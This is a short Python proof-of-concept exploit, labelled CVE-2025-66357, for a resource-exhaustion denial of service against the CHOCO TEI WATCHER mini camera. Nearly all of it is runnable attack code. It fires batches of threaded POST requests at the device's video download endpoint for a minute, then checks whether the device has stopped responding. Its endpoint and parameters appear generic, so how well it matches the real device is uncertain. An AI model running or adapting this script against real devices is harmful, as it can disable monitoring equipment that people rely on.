CVE-2025-66357

# CVE-2025-66357 PoC - CHOCO TEI WATCHER mini Resource Exhaustion # Target: CHOCO TEI WATCHER mini (IB-MCT001) # Vulnerability: Improper Check for Unusual or Exceptional Conditions in Video Download # CVSS: 5.3 (Medium) import requests import time import threading TARGET_IP = "192.168.1.100" # Replace with target device IP TARGET_PORT = 80 def trigger_video_download_state(): """ Trigger the specific communication state that leads to resource exhaustion. This PoC demonstrates sending requests to the Video Download feature. """ headers = { 'User-Agent': 'CHOCO-TEI-WATCHER-MINI/1.0', 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' } # Payload to trigger the abnormal resource consumption payload = { 'action': 'download', 'mode': 'stream', 'format': 'mp4', 'quality': 'high', 'continuous': 'true' # Continuous download to trigger resource exhaustion } try: # Send request to video download endpoint url = f"http://{TARGET_IP}:{TARGET_PORT}/video/download" response = requests.post(url, data=payload, headers=headers, timeout=5) return response.status_code except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def resource_exhaustion_attack(duration=60): """ Perform resource exhaustion attack by continuously triggering the vulnerability. """ print(f"[*] Starting resource exhaustion attack on {TARGET_IP}") print(f"[*] Attack duration: {duration} seconds") threads = [] start_time = time.time() request_count = 0 while time.time() - start_time < duration: # Launch multiple concurrent requests to accelerate resource exhaustion for _ in range(10): t = threading.Thread(target=lambda: trigger_video_download_state()) t.daemon = True t.start() threads.append(t) request_count += 1 time.sleep(0.1) # Brief pause between request batches print(f"[*] Attack completed. Total requests sent: {request_count}") if __name__ == "__main__": print("="*60) print("CVE-2025-66357 PoC - CHOCO TEI WATCHER mini Resource Exhaustion") print("="*60) # Run the attack for 60 seconds resource_exhaustion_attack(duration=60) print("[*] Check if the device is still responsive...") try: response = requests.get(f"http://{TARGET_IP}:{TARGET_PORT}/status", timeout=5) if response.status_code == 200: print("[!] Device still responsive - attack may not have succeeded") else: print("[+] Device appears to be affected") except: print("[+] Device is not responding - potential DoS achieved")

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